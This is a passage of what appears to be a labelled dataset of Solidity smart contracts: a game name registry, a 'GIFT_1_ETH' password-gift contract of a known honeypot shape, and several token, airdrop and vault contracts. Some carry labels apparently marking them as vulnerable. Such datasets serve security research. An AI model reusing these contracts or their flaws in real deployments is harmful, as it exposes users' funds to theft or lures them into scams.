bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
community1.transfer(address(this).balance/2);
community2.transfer(address(this).balance);
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
onlyManager()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
function setRegistrationFee(uint256 _fee)
onlyManager()
public
{
registrationFee_ = _fee;
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,855 |
pragma solidity ^0.4.19;
contract GIFT_1_ETH
{
bytes32 public hashPass;
bool closed = false;
address sender;
uint unlockTime;
function GetHash(bytes pass) public constant returns (bytes32) {return keccak256(pass);}
function SetPass(bytes32 hash)
public
payable
{
if( (!closed&&(msg.value > 1 ether)) || hashPass==0x0 )
{
hashPass = hash;
sender = msg.sender;
unlockTime = now;
}
}
function SetGiftTime(uint date)
public
{
if(msg.sender==sender)
{
unlockTime = date;
}
}
function GetGift(bytes pass)
external
payable
canOpen
{
if(hashPass == keccak256(pass))
{
msg.sender.transfer(this.balance);
}
}
function Revoce()
public
payable
canOpen
{
if(msg.sender==sender)
{
sender.transfer(this.balance);
}
}
function PassHasBeenSet(bytes32 hash)
public
{
if(hash==hashPass&&msg.sender==sender)
{
closed=true;
}
}
modifier canOpen
{
require(now>unlockTime);
_;
}
function() public payable{}
} | 1 | 3,618 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "WorkPerk";
string public constant TOKEN_SYMBOL = "WPRK";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xeBB920699F235FC4DB9572FA86ef1506AC3AF23d;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[2] memory addresses = [address(0xe409df6d39188e89fc48d0c2afcf86e0b0e78d98),address(0xebb920699f235fc4db9572fa86ef1506ac3af23d)];
uint[2] memory amounts = [uint(2500000000000000000000000000),uint(2500000000000000000000000000)];
uint64[2] memory freezes = [uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,581 |
pragma solidity ^0.4.24;
contract BasicTokenInterface{
function balanceOf(address tokenOwner) public view returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
}
contract ApproveAndCallFallBack {
event ApprovalReceived(address indexed from, uint256 indexed amount, address indexed tokenAddr, bytes data);
function receiveApproval(address from, uint256 amount, address tokenAddr, bytes data) public{
emit ApprovalReceived(from, amount, tokenAddr, data);
}
}
contract ERC20TokenInterface is BasicTokenInterface, ApproveAndCallFallBack{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function transferTokens(address token, uint amount) public returns (bool success);
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
pragma experimental "v0.5.0";
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a && c >= b);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || b == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(a > 0 && b > 0);
c = a / b;
}
}
contract BasicToken is BasicTokenInterface{
using SafeMath for uint;
string public name;
uint8 public decimals;
string public symbol;
uint public totalSupply;
mapping (address => uint256) internal balances;
modifier checkpayloadsize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _value) public checkpayloadsize(2*32) returns (bool success) {
require(balances[msg.sender] >= _value);
success = true;
balances[msg.sender] -= _value;
if(_to == address(this)){
totalSupply = totalSupply.sub(_value);
}else{
balances[_to] += _value;
}
emit Transfer(msg.sender, _to, _value);
return success;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ManagedToken is BasicToken {
address manager;
modifier restricted(){
require(msg.sender == manager,"Function can only be used by manager");
_;
}
function setManager(address newManager) public restricted{
balances[newManager] = balances[manager];
balances[manager] = 0;
manager = newManager;
}
}
contract ERC20Token is ERC20TokenInterface, ManagedToken{
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,address _to,uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function allowance(address _owner,address _spender) public view returns (uint256)
{
return allowed[_owner][_spender];
}
function transferTokens(address token,uint _value) public restricted returns (bool success){
return ERC20Token(token).transfer(msg.sender,_value);
}
}
contract FlairDrop is ERC20Token {
address flairdrop;
uint tokenPrice;
event AirDropEvent(address indexed tokencontract, address[] destinations,uint[] indexed amounts);
function() external payable {
buyTokens();
}
function buyTokens() public payable{
address(manager).transfer(msg.value);
uint tokensBought = msg.value.div(tokenPrice);
balances[msg.sender] = balances[msg.sender].add(tokensBought);
totalSupply = totalSupply.add(tokensBought);
emit Transfer(address(this),msg.sender,tokensBought);
}
constructor() public {
flairdrop = address(this);
name = "FlairDrop! Airdrops With Pizzazz!";
symbol = "FLAIRDROP";
decimals = 0;
totalSupply = 0;
tokenPrice = 10000000000000;
manager = msg.sender;
balances[manager] = 100000000;
}
function airDrop(address parent, uint[] amounts, address[] droptargets) public payable {
if(msg.value > 0){
buyTokens();
}
require(balances[msg.sender] >= droptargets.length,"Insufficient funds to execute this airdrop");
ERC20TokenInterface parentContract = ERC20TokenInterface(parent);
uint allowance = parentContract.allowance(msg.sender, flairdrop);
uint amount = amounts[0];
uint x = 0;
address target;
while(gasleft() > 10000 && x <= droptargets.length - 1 ){
target = droptargets[x];
if(amounts.length == droptargets.length){
amount = amounts[x];
}
if(allowance >=amount){
parentContract.transferFrom(msg.sender,target,amount);
allowance -= amount;
}
x++;
}
balances[msg.sender] -= x;
totalSupply -= x;
emit Transfer(msg.sender, address(0), x);
emit AirDropEvent(parent,droptargets,amounts);
}
function setTokenPrice(uint price) public restricted{
tokenPrice = price;
}
function getTokenPrice() public view returns(uint){
return tokenPrice;
}
} | 1 | 2,956 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
